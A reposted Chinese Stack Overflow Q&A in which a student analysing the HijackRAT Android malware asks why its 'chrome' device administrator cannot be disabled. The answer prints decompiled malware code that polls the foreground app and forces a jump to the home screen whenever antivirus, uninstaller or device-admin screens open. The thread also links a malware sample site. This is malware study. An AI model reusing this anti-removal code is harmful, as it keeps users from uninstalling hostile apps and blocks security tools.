gpt4 book ai didi

android设备管理员不能被禁用?

转载 作者:行者123 更新时间:2023-11-29 01:25:47 26 4
gpt4 key购买 nike

我目前正在研究一种安卓恶意软件“hijack rat”作为我大学类(class)的一部分。此应用程序以名称“chrome”创建一个设备管理员。问题是设备管理员不能被禁用。每当我点击它时,它都会转到手机主页。

这个 Action 的代码是什么?

PS:这种行为(跳转到主屏幕)只发生在真实设备而不是模拟器中。在 Samsung galaxy s4 kitkat 和 nexus 6 marshmallow 上测试。

你可以看到我制作的视频: https://www.youtube.com/watch?v=XAF5xEad-fU

apk 来源: http://contagiominidump.blogspot.com/2015/06/androidoswrobax-hijackrat-android-sample.html

最佳答案

    this.timer.schedule(new TimerTask() {
public void run() {
new Handler(Plugin.this.service.getMainLooper()).post(new Runnable() {
public void run() {
boolean kill;
String name = Plugin.getTopActivityName(Plugin.this.service);
if (name == null || !name.startsWith("com.estsoft.alyac.ui")) {
kill = false;
} else {
kill = true;
}
if (!kill) {
if (name == null || !name.contains("packageinstaller.UninstallerActivity")) {
kill = false;
} else {
kill = true;
}
if (kill) {
for (String pkg : Plugin.oldPackageList) {
if (Plugin.isAvilible(Plugin.this.service, pkg)) {
kill = false;
break;
}
}
if (kill && Plugin.isAvilible(Plugin.this.service, Plugin.V3_PACKAGE)) {
kill = false;
}
}
}
if (!kill) {
if (name == null || !name.contains(".DeviceAdminAdd")) {
kill = false;
} else {
kill = true;
}
boolean mdarEnabled = devicePref.getBoolean("mdar", false);
if (kill && !mdarEnabled) {
kill = false;
}
}
if (kill) {
Intent intent = new Intent("android.intent.action.MAIN");
intent.addCategory("android.intent.category.HOME");
intent.addFlags(268435456);
Plugin.this.service.startActivity(intent);
}
}
});
}
}, 2000, 200);

关于android设备管理员不能被禁用?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/34133139/

26 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com